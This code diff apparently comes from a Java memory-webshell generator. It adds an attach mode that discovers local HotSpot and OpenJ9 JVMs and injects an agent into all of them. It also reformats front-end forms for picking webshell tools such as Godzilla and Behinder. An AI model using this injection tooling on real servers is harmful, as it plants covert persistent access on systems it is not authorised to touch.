* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
* and also {@code java.io.tmpdir} if it differs. Additionally checks the
* {@code com.ibm.tools.attach.directory} system property.
*
* @return A list of attach directories to scan.
*/
private static List<File> getAttachDirectories() {
List<File> dirs = new ArrayList<File>();
String osName = System.getProperty("os.name", "");
if (osName.startsWith("Windows")) {
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
} else {
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
}
}
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
if (ibmAttachDir != null) {
dirs.add(new File(ibmAttachDir));
}
return dirs;
}
}
}
@@ -1,9 +1,46 @@
import java.util.List;
/**
* @author ReaJason
* @since 2025/5/16
*/
public class Main {
/**
* java -jar attach.jar — 列出所有 Java 进程
* java -jar attach.jar <pid> — 注入指定进程
* java -jar attach.jar all — 注入所有 Java 进程(自动跳过自身,单个失败不影响其他进程)
*/
public static void main(String[] args) throws Exception {
Attacher.attach(args[0]);
if (args.length == 0) {
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
if (processes.isEmpty()) {
System.out.println("No Java processes found.");
} else {
for (Attacher.JavaProcessDescriptor process : processes) {
System.out.println(process);
}
}
} else if ("all".equalsIgnoreCase(args[0])) {
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
String currentPid = Attacher.ProcessProvider.ForCurrentVm.INSTANCE.resolve();
if (processes.isEmpty()) {
System.out.println("No Java processes found.");
} else {
for (Attacher.JavaProcessDescriptor process : processes) {
if (process.getPid().equals(currentPid)) {
continue;
}
try {
System.out.println("Attaching to " + process + " ...");
Attacher.attach(process.getPid());
System.out.println(" -> Success");
} catch (Exception e) {
System.out.println(" -> Failed: " + e.getMessage());
}
}
}
} else {
Attacher.attach(args[0]);
}
}
}
@@ -15,6 +15,7 @@ package com.reajason.javaweb.packer.jar.attach;/*
*/
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
@@ -22,13 +23,12 @@ import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.security.CodeSource;
import java.security.PrivilegedAction;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
import java.util.*;
/**
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
@@ -53,24 +53,54 @@ public class Attacher {
}
public static void main(String[] args) throws Exception {
try {
Attacher.attach(args[0]);
} catch (Exception e) {
if (!e.getMessage().equals("0")) {
Throwable cause = e.getCause();
if (cause != null) {
if (!cause.getMessage().equals("0")) {
cause = e.getCause();
if (cause != null) {
if (!cause.getMessage().equals("0")) {
throw e;
}
}
if (args.length == 0) {
List<JavaProcessDescriptor> processes = listJavaProcesses();
if (processes.isEmpty()) {
System.out.println("No Java processes found.");
} else {
for (JavaProcessDescriptor process : processes) {
System.out.println(process);
}
}
} else if ("all".equalsIgnoreCase(args[0])) {
List<JavaProcessDescriptor> processes = listJavaProcesses();
String currentPid = ProcessProvider.ForCurrentVm.INSTANCE.resolve();
if (processes.isEmpty()) {
System.out.println("No Java processes found.");
} else {
for (JavaProcessDescriptor process : processes) {
if (process.getPid().equals(currentPid)) {
continue;
}
try {
System.out.println("Attaching to " + process + " ...");
doAttach(process.getPid());
System.out.println(" -> Success");
} catch (Exception e) {
System.out.println(" -> Failed: " + e.getMessage());
e.printStackTrace();
}
}
}
} else {
doAttach(args[0]);
System.out.println("ok");
}
}
private static void doAttach(String processId) {
try {
Attacher.attach(processId);
} catch (Exception e) {
Throwable currentCause = e;
while (currentCause != null) {
if ("0".equals(currentCause.getMessage())) {
return;
}
currentCause = currentCause.getCause();
}
throw (RuntimeException) e;
}
System.out.println("ok");
}
/**
@@ -112,6 +142,30 @@ public class Attacher {
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
}
/**
* <p>
* Lists all discoverable Java processes on the local host.
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
* </p>
*
* @return A list of discovered Java process descriptors.
*/
public static List<JavaProcessDescriptor> listJavaProcesses() {
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
Set<String> seenPids = new HashSet<String>();
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
if (seenPids.add(descriptor.getPid())) {
processes.add(descriptor);
}
}
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
if (seenPids.add(descriptor.getPid())) {
processes.add(descriptor);
}
}
return processes;
}
/**
* Installs a Java agent on a target VM.
*
@@ -949,4 +1003,300 @@ public class Attacher {
}
}
}
/**
* Represents a discovered Java process on the local host.
*/
public static class JavaProcessDescriptor {
private final String pid;
private final String mainClass;
private final String vmType;
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
this.pid = pid;
this.mainClass = mainClass;
this.vmType = vmType;
}
public String getPid() {
return pid;
}
public String getMainClass() {
return mainClass;
}
public String getVmType() {
return vmType;
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append(pid);
if (mainClass.length() > 0) {
sb.append(' ').append(mainClass);
}
sb.append(" (").append(vmType).append(')');
return sb.toString();
}
}
/**
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories.
*/
private static class HotSpotProcessDiscovery {
private static final int PERFDATA_MAGIC = 0xcafec0c0;
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
private static final byte UNITS_STRING = 5;
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
private static final int MIN_PERFDATA_SIZE = 32;
private static final int ENTRY_HEADER_SIZE = 20;
static List<JavaProcessDescriptor> discover() {
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
Set<String> seen = new HashSet<String>();
for (File tmpDir : getTempDirectories()) {
if (!tmpDir.isDirectory()) {
continue;
}
File[] userDirs = tmpDir.listFiles();
if (userDirs == null) {
continue;
}
for (File userDir : userDirs) {
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
continue;
}
File[] pidFiles = userDir.listFiles();
if (pidFiles == null) {
continue;
}
for (File pidFile : pidFiles) {
String fileName = pidFile.getName();
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
continue;
}
if (!seen.add(fileName)) {
continue;
}
String javaCommand = parsePerfData(pidFile);
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
}
}
}
return result;
}
private static List<File> getTempDirectories() {
List<File> dirs = new ArrayList<File>();
String osName = System.getProperty("os.name", "");
if (osName.startsWith("Windows")) {
dirs.add(new File(System.getProperty("java.io.tmpdir")));
} else {
dirs.add(new File("/tmp"));
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
dirs.add(new File(javaIoTmpDir));
}
}
return dirs;
}
private static String parsePerfData(File file) {
FileInputStream fis = null;
try {
fis = new FileInputStream(file);
long fileLength = file.length();
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
return "";
}
byte[] data = new byte[(int) fileLength];
int totalRead = 0;
int bytesRead;
while (totalRead < data.length
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
totalRead += bytesRead;
}
if (totalRead < MIN_PERFDATA_SIZE) {
return "";
}
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
buffer.order(ByteOrder.BIG_ENDIAN);
int magic = buffer.getInt();
if (magic != PERFDATA_MAGIC) {
return "";
}
byte byteOrder = buffer.get();
if (byteOrder == 1) {
buffer.order(ByteOrder.LITTLE_ENDIAN);
}
byte majorVersion = buffer.get();
buffer.get(); // minor version
buffer.get(); // accessible / reserved
if (majorVersion < 2) {
return "";
}
buffer.getInt(); // used
buffer.getInt(); // overflow
buffer.getLong(); // mod_time_stamp
int entryOffset = buffer.getInt();
int numEntries = buffer.getInt();
int pos = entryOffset;
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
buffer.position(pos);
int entryLength = buffer.getInt();
if (entryLength <= 0 || pos + entryLength > totalRead) {
break;
}
int nameOffset = buffer.getInt();
buffer.getInt(); // vector_length
buffer.get(); // data_type
buffer.get(); // flags
byte dataUnits = buffer.get();
buffer.get(); // data_variability
int dataOffset = buffer.getInt();
int nameStart = pos + nameOffset;
if (nameStart < 0 || nameStart >= totalRead) {
pos += entryLength;
continue;
}
int nameEnd = nameStart;
while (nameEnd < totalRead && data[nameEnd] != 0) {
nameEnd++;
}
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
int dataStart = pos + dataOffset;
if (dataStart < 0 || dataStart >= totalRead) {
return "";
}
int dataEnd = dataStart;
while (dataEnd < totalRead && data[dataEnd] != 0) {
dataEnd++;
}
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
}
pos += entryLength;
}
return "";
} catch (Exception ignored) {
return "";
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException ignored) {
/* do nothing */
}
}
}
}
private static boolean isNumeric(String str) {
if (str == null || str.isEmpty()) {
return false;
}
for (int i = 0; i < str.length(); i++) {
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
return false;
}
}
return true;
}
private static String extractMainClass(String javaCommand) {
if (javaCommand == null || javaCommand.isEmpty()) {
return "";
}
int spaceIndex = javaCommand.indexOf(' ');
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
}
}
/**
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories.
*/
private static class OpenJ9ProcessDiscovery {
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
private static final String ATTACH_INFO_FILE = "attachInfo";
static List<JavaProcessDescriptor> discover() {
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
for (File attachDir : getAttachDirectories()) {
if (!attachDir.isDirectory()) {
continue;
}
File[] vmDirs = attachDir.listFiles();
if (vmDirs == null) {
continue;
}
for (File vmDir : vmDirs) {
if (!vmDir.isDirectory()) {
continue;
}
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
if (!attachInfo.isFile() || !attachInfo.canRead()) {
continue;
}
FileInputStream fis = null;
try {
Properties props = new Properties();
fis = new FileInputStream(attachInfo);
props.load(fis);
String pid = props.getProperty("processId");
String displayName = props.getProperty("displayName", "");
if (pid != null && pid.length() > 0) {
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
}
} catch (Exception ignored) {
/* do nothing */
} finally {
if (fis != null) {
try {
fis.close();
} catch (IOException ignored) {
/* do nothing */
}
}
}
}
}
return result;
}
private static List<File> getAttachDirectories() {
List<File> dirs = new ArrayList<File>();
String osName = System.getProperty("os.name", "");
if (osName.startsWith("Windows")) {
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
} else {
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
}
}
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
if (ibmAttachDir != null) {
dirs.add(new File(ibmAttachDir));
}
return dirs;
}
}
}
+20
View File
@@ -0,0 +1,20 @@
{
"$schema": "./node_modules/oxfmt/configuration_schema.json",
"experimentalTailwindcss": {
"stylesheet": "./app/app.css",
"attributes": ["class", "className"],
"functions": ["clsx", "cn"],
"preserveWhitespace": true
},
"ignorePatterns": [],
"sortImports": {
"newlinesBetween": true,
"groups": [
"type-import",
["value-builtin", "value-external"],
"value-internal",
["value-parent", "value-sibling", "value-index"],
"unknown"
]
}
}
+12
View File
@@ -0,0 +1,12 @@
{
"$schema": "./node_modules/oxlint/configuration_schema.json",
"rules": {
"no-unused-vars": [
"warn",
{
"args": "none",
"varsIgnorePattern": "^_"
}
]
}
}
+8 -16
View File
@@ -1,18 +1,14 @@
import type { VariantProps } from "class-variance-authority";
import { Check, Copy } from "lucide-react";
import {
type HTMLProps,
type ReactNode,
useCallback,
useEffect,
useState,
} from "react";
import { type HTMLProps, type ReactNode, useCallback, useEffect, useState } from "react";
import CopyToClipboard from "react-copy-to-clipboard";
import { useTranslation } from "react-i18next";
import { PrismLight as SyntaxHighlighter } from "react-syntax-highlighter";
import java from "react-syntax-highlighter/dist/esm/languages/prism/java";
import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/material-dark";
import { toast } from "sonner";
import { Button, type buttonVariants } from "@/components/ui/button";
import { cn } from "@/lib/utils";
@@ -68,17 +64,13 @@ export default function CodeViewer({
showLineNumbers = true,
wrapLongLines = true,
}: Readonly<CodeViewerProps>) {
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined =
wrapLongLines
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
: undefined;
const lineProps: lineTagPropsFunction | HTMLProps<HTMLElement> | undefined = wrapLongLines
? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } }
: undefined;
return (
<div className="rounded-lg border">
<div
className={cn(
"flex items-center border-b p-2 justify-end",
header && "justify-between",
)}
className={cn("flex items-center justify-end border-b p-2", header && "justify-between")}
>
{header}
<div className="flex items-center gap-2">
@@ -86,7 +78,7 @@ export default function CodeViewer({
<CopyButton value={code} variant="ghost" size="sm" />
</div>
</div>
<div className="relative overflow-hidden text-xs wrap-all">
<div className="wrap-all relative overflow-hidden text-xs">
<SyntaxHighlighter
language={language}
style={materialDark}
+4 -12
View File
@@ -1,13 +1,9 @@
import { Check, Copy } from "lucide-react";
import {
type ComponentPropsWithoutRef,
useCallback,
useEffect,
useState,
} from "react";
import { type ComponentPropsWithoutRef, useCallback, useEffect, useState } from "react";
import CopyToClipboard from "react-copy-to-clipboard";
import { useTranslation } from "react-i18next";
import { toast } from "sonner";
import { Button } from "@/components/ui/button";
import { Label } from "@/components/ui/label";
import { cn } from "@/lib/utils";
@@ -48,7 +44,7 @@ export function CopyableField({
return (
<div className={cn("flex flex-col gap-1 py-1", className)} {...divProps}>
<div className="flex items-center justify-between gap-2 h-6">
<div className="flex h-6 items-center justify-between gap-2">
<Label className="text-sm text-muted-foreground">{label}</Label>
{value && (
<CopyToClipboard.CopyToClipboard text={value} onCopy={handleCopy}>
@@ -59,11 +55,7 @@ export function CopyableField({
className="h-8 w-8"
disabled={hasCopied}
>
{hasCopied ? (
<Check className="h-4 w-4" />
) : (
<Copy className="h-4 w-4" />
)}
{hasCopied ? <Check className="h-4 w-4" /> : <Copy className="h-4 w-4" />}
</Button>
</CopyToClipboard.CopyToClipboard>
)}
+1 -1
View File
@@ -9,5 +9,5 @@ export const Icons = {
d="M409.132 114.573c-19.608-33.596-46.205-60.194-79.798-79.8-33.598-19.607-70.277-29.408-110.063-29.408-39.781 0-76.472 9.804-110.063 29.408-33.596 19.605-60.192 46.204-79.8 79.8C9.803 148.168 0 184.854 0 224.63c0 47.78 13.94 90.745 41.827 128.906 27.884 38.164 63.906 64.572 108.063 79.227 5.14.954 8.945.283 11.419-1.996 2.475-2.282 3.711-5.14 3.711-8.562 0-.571-.049-5.708-.144-15.417a2549.81 2549.81 0 01-.144-25.406l-6.567 1.136c-4.187.767-9.469 1.092-15.846 1-6.374-.089-12.991-.757-19.842-1.999-6.854-1.231-13.229-4.086-19.13-8.559-5.898-4.473-10.085-10.328-12.56-17.556l-2.855-6.57c-1.903-4.374-4.899-9.233-8.992-14.559-4.093-5.331-8.232-8.945-12.419-10.848l-1.999-1.431c-1.332-.951-2.568-2.098-3.711-3.429-1.142-1.331-1.997-2.663-2.568-3.997-.572-1.335-.098-2.43 1.427-3.289 1.525-.859 4.281-1.276 8.28-1.276l5.708.853c3.807.763 8.516 3.042 14.133 6.851 5.614 3.806 10.229 8.754 13.846 14.842 4.38 7.806 9.657 13.754 15.846 17.847 6.184 4.093 12.419 6.136 18.699 6.136 6.28 0 11.704-.476 16.274-1.423 4.565-.952 8.848-2.383 12.847-4.285 1.713-12.758 6.377-22.559 13.988-29.41-10.848-1.14-20.601-2.857-29.264-5.14-8.658-2.286-17.605-5.996-26.835-11.14-9.235-5.137-16.896-11.516-22.985-19.126-6.09-7.614-11.088-17.61-14.987-29.979-3.901-12.374-5.852-26.648-5.852-42.826 0-23.035 7.52-42.637 22.557-58.817-7.044-17.318-6.379-36.732 1.997-58.24 5.52-1.715 13.706-.428 24.554 3.853 10.85 4.283 18.794 7.952 23.84 10.994 5.046 3.041 9.089 5.618 12.135 7.708 17.705-4.947 35.976-7.421 54.818-7.421s37.117 2.474 54.823 7.421l10.849-6.849c7.419-4.57 16.18-8.758 26.262-12.565 10.088-3.805 17.802-4.853 23.134-3.138 8.562 21.509 9.325 40.922 2.279 58.24 15.036 16.18 22.559 35.787 22.559 58.817 0 16.178-1.958 30.497-5.853 42.966-3.9 12.471-8.941 22.457-15.125 29.979-6.191 7.521-13.901 13.85-23.131 18.986-9.232 5.14-18.182 8.85-26.84 11.136-8.662 2.286-18.415 4.004-29.263 5.146 9.894 8.562 14.842 22.077 14.842 40.539v60.237c0 3.422 1.19 6.279 3.572 8.562 2.379 2.279 6.136 2.95 11.276 1.995 44.163-14.653 80.185-41.062 108.068-79.226 27.88-38.161 41.825-81.126 41.825-128.906-.01-39.771-9.818-76.454-29.414-110.049z"
/>
</svg>
)
),
};
+6 -13
View File
@@ -1,8 +1,10 @@
"use client";
import { Image, type ImageProps } from "fumadocs-core/framework";
import type { ComponentProps } from "react";
import { Image, type ImageProps } from "fumadocs-core/framework";
import Zoom, { type UncontrolledProps } from "react-medium-image-zoom";
import "@/components/image-zoom.css";
export type ImageZoomProps = ImageProps & {
@@ -22,20 +24,14 @@ function getImageSrc(src: ImageProps["src"]): string {
if (typeof src === "object") {
// Next.js
if ("default" in src)
return (src as { default: { src: string } }).default.src;
if ("default" in src) return (src as { default: { src: string } }).default.src;
return src.src;
}
return "";
}
export function ImageZoom({
zoomInProps,
children,
rmiz,
...props
}: ImageZoomProps) {
export function ImageZoom({ zoomInProps, children, rmiz, ...props }: ImageZoomProps) {
return (
<Zoom
zoomMargin={20}
@@ -48,10 +44,7 @@ export function ImageZoom({
}}
>
{children ?? (
<Image
sizes="(max-width: 768px) 100vw, (max-width: 1200px) 70vw, 900px"
{...props}
/>
<Image sizes="(max-width: 768px) 100vw, (max-width: 1200px) 70vw, 900px" {...props} />
)}
</Zoom>
);
+1
View File
@@ -1,5 +1,6 @@
import { LanguagesIcon } from "lucide-react";
import { useTranslation } from "react-i18next";
import { Button } from "./ui/button";
export function LanguageSwitcher() {
@@ -1,9 +1,9 @@
import { type MotionProps, motion } from "motion/react";
import { cn } from "@/lib/utils";
interface LineShadowTextProps
extends Omit<React.HTMLAttributes<HTMLElement>, keyof MotionProps>,
MotionProps {
extends Omit<React.HTMLAttributes<HTMLElement>, keyof MotionProps>, MotionProps {
shadowColor?: string;
as?: React.ElementType;
}
@@ -27,7 +27,7 @@ export function LineShadowText({
style={{ "--shadow-color": shadowColor } as React.CSSProperties}
className={cn(
"relative z-0 inline-flex",
"after:absolute after:left-[0.04em] after:top-[0.04em] after:content-[attr(data-text)]",
"after:absolute after:top-[0.04em] after:left-[0.04em] after:content-[attr(data-text)]",
"after:bg-[linear-gradient(45deg,transparent_45%,var(--shadow-color)_45%,var(--shadow-color)_55%,transparent_0)]",
"after:-z-10 after:bg-[length:0.06em_0.06em] after:bg-clip-text after:text-transparent",
"after:animate-line-shadow",
+9 -8
View File
@@ -1,15 +1,16 @@
import defaultMdxComponents from 'fumadocs-ui/mdx';
import type { MDXComponents } from 'mdx/types';
import type { MDXComponents } from "mdx/types";
import defaultMdxComponents from "fumadocs-ui/mdx";
export function getMDXComponents(components?: MDXComponents) {
return {
...defaultMdxComponents,
...components,
} satisfies MDXComponents;
return {
...defaultMdxComponents,
...components,
} satisfies MDXComponents;
}
export const useMDXComponents = getMDXComponents;
declare global {
type MDXProvidedComponents = ReturnType<typeof getMDXComponents>;
}
type MDXProvidedComponents = ReturnType<typeof getMDXComponents>;
}
@@ -1,11 +1,9 @@
import type { MemShellFormSchema } from "@/types/schema";
import { Controller, type UseFormReturn } from "react-hook-form";
import { useTranslation } from "react-i18next";
import {
Field,
FieldContent,
FieldError,
FieldLabel,
} from "@/components/ui/field";
import { Field, FieldContent, FieldError, FieldLabel } from "@/components/ui/field";
import {
Select,
SelectContent,
@@ -13,7 +11,6 @@ import {
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import type { MemShellFormSchema } from "@/types/schema";
const JDKVersion = [
{ name: "Java6", value: "50" },
@@ -37,9 +34,7 @@ export function JREVersionFormField({
render={({ field, fieldState }) => (
<Field orientation="vertical" data-invalid={fieldState.invalid}>
<FieldContent>
<FieldLabel htmlFor="targetJdkVersion">
{t("common:targetJdkVersion")}
</FieldLabel>
<FieldLabel htmlFor="targetJdkVersion">{t("common:targetJdkVersion")}</FieldLabel>
<Select
onValueChange={(v) => {
if (Number.parseInt(v ?? "0", 10) >= 53) {
@@ -51,13 +46,8 @@ export function JREVersionFormField({
}}
value={field.value}
>
<SelectTrigger
id="targetJdkVersion"
aria-invalid={fieldState.invalid}
>
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
<SelectTrigger id="targetJdkVersion" aria-invalid={fieldState.invalid}>
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
<SelectContent>
{JDKVersion.map((v) => (
@@ -1,7 +1,10 @@
import type { MemShellFormSchema } from "@/types/schema";
import { ArrowUpRightIcon, InfoIcon, ServerIcon } from "lucide-react";
import { useCallback, useEffect, useMemo } from "react";
import { Controller, type UseFormReturn, useWatch } from "react-hook-form";
import { useTranslation } from "react-i18next";
import { AntSwordTabContent } from "@/components/memshell/tabs/antsword-tab";
import { BehinderTabContent } from "@/components/memshell/tabs/behinder-tab";
import { CommandTabContent } from "@/components/memshell/tabs/command-tab";
@@ -10,12 +13,7 @@ import { GodzillaTabContent } from "@/components/memshell/tabs/godzilla-tab";
import { NeoRegTabContent } from "@/components/memshell/tabs/neoreg-tab";
import { Suo5TabContent } from "@/components/memshell/tabs/suo5-tab";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
Field,
FieldContent,
FieldDescription,
FieldLabel,
} from "@/components/ui/field";
import { Field, FieldContent, FieldDescription, FieldLabel } from "@/components/ui/field";
import { Label } from "@/components/ui/label";
import {
Select,
@@ -26,17 +24,9 @@ import {
} from "@/components/ui/select";
import { Switch } from "@/components/ui/switch";
import { Tabs } from "@/components/ui/tabs";
import {
Tooltip,
TooltipContent,
TooltipTrigger,
} from "@/components/ui/tooltip";
import {
type MainConfig,
type ServerConfig,
ShellToolType,
} from "@/types/memshell";
import type { MemShellFormSchema } from "@/types/schema";
import { Tooltip, TooltipContent, TooltipTrigger } from "@/components/ui/tooltip";
import { type MainConfig, type ServerConfig, ShellToolType } from "@/types/memshell";
import { Spinner } from "../ui/spinner";
import { JREVersionFormField } from "./jreversion-field";
import { ServerVersionFormField } from "./serverversion-field";
@@ -76,9 +66,7 @@ export default function MainConfigCard({
if (!serverToolMap) {
return [];
}
const tools = Object.keys(serverToolMap).map(
(tool) => tool as ShellToolType,
);
const tools = Object.keys(serverToolMap).map((tool) => tool as ShellToolType);
return Array.from(new Set([...tools, ShellToolType.Custom]));
}, [serverToolMap]);
@@ -134,7 +122,7 @@ export default function MainConfigCard({
const currentTargetJdk = form.getValues("targetJdkVersion") as string;
const currentJdkVersion = Number.parseInt(currentTargetJdk, 10);
const shouldRaiseJdkVersion =
(server === "SpringWebFlux" || server === "XXLJOB") &&
(server === "SpringWebFlux" || server === "XXLJOB" || server === "Dubbo") &&
currentJdkVersion <= 52;
const nextJdkVersion = shouldRaiseJdkVersion ? "52" : "50";
if (currentTargetJdk !== nextJdkVersion) {
@@ -245,39 +233,27 @@ export default function MainConfigCard({
</CardHeader>
<CardContent>
{!mainConfig ? (
<div className="flex items-center justify-center p-4 gap-4 h-100">
<div className="flex h-100 items-center justify-center gap-4 p-4">
<Spinner />
<span className="text-sm text-muted-foreground">
{t("loading")}
</span>
<span className="text-sm text-muted-foreground">{t("loading")}</span>
</div>
) : (
<div className="flex flex-col gap-2">
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
<Controller
control={form.control}
name="server"
render={({ field }) => (
<Field>
<FieldContent>
<FieldLabel htmlFor="server">
{t("common:server")}
</FieldLabel>
<Select
onValueChange={field.onChange}
value={field.value}
>
<FieldLabel htmlFor="server">{t("common:server")}</FieldLabel>
<Select onValueChange={field.onChange} value={field.value}>
<SelectTrigger id="server">
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
<SelectContent>
{serverOptions.map((serverOption) => (
<SelectItem
key={serverOption}
value={serverOption}
>
<SelectItem key={serverOption} value={serverOption}>
{serverOption}
</SelectItem>
))}
@@ -301,26 +277,20 @@ export default function MainConfigCard({
/>
<ServerVersionFormField form={form} />
</div>
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
<div className="grid grid-cols-1 gap-2 md:grid-cols-2">
<Controller
control={form.control}
name="shellTool"
render={({ field }) => (
<Field>
<FieldContent>
<FieldLabel htmlFor="shellTool">
{t("common:shellTool")}
</FieldLabel>
<FieldLabel htmlFor="shellTool">{t("common:shellTool")}</FieldLabel>
<Select
value={field.value}
onValueChange={(v) =>
handleShellToolChange(v as string)
}
onValueChange={(v) => handleShellToolChange(v as string)}
>
<SelectTrigger id="shellTool">
<SelectValue
data-placeholder={t("common:placeholders.select")}
/>
<SelectValue data-placeholder={t("common:placeholders.select")} />
</SelectTrigger>
<SelectContent>
{shellTools.map((tool) => (
@@ -336,21 +306,17 @@ export default function MainConfigCard({
/>
<JREVersionFormField form={form} />
</div>
<div className="flex gap-4 mt-4 flex-col lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
<div className="mt-4 flex flex-col gap-4 lg:grid lg:grid-cols-2 2xl:grid 2xl:grid-cols-3">
<Controller
control={form.control}
name="debug"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="debug"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Switch id="debug" checked={field.value} onCheckedChange={field.onChange} />
<Label htmlFor="debug">{t("common:debug")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:debug.description")}</p>
@@ -364,15 +330,11 @@ export default function MainConfigCard({
name="probe"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="probe"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Switch id="probe" checked={field.value} onCheckedChange={field.onChange} />
<Label htmlFor="probe">{t("common:probe")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:probe.description")}</p>
@@ -386,17 +348,11 @@ export default function MainConfigCard({
name="byPassJavaModule"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="bypass"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="bypass">
{t("common:byPassJavaModule")}
</Label>
<Switch id="bypass" checked={field.value} onCheckedChange={field.onChange} />
<Label htmlFor="bypass">{t("common:byPassJavaModule")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:byPassJavaModule.description")}</p>
@@ -415,12 +371,10 @@ export default function MainConfigCard({
checked={field.value}
onCheckedChange={field.onChange}
/>
<Label htmlFor="lambdaSuffix">
{t("common:lambdaSuffix")}
</Label>
<Label htmlFor="lambdaSuffix">{t("common:lambdaSuffix")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
</TooltipTrigger>
<TooltipContent>
<p>{t("common:lambdaSuffix.description")}</p>
@@ -434,15 +388,11 @@ export default function MainConfigCard({
name="shrink"
render={({ field }) => (
<div className="flex items-center gap-2">
<Switch
id="shrink"
checked={field.value}
onCheckedChange={field.onChange}
/>
<Switch id="shrink" checked={field.value} onCheckedChange={field.onChange} />
<Label htmlFor="shrink">{t("common:shrink")}</Label>
<Tooltip>
<TooltipTrigger>
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
<InfoIcon className="h-3.5 w-3.5 cursor-help text-muted-foreground" />
</TooltipTrigger>
<TooltipContent>
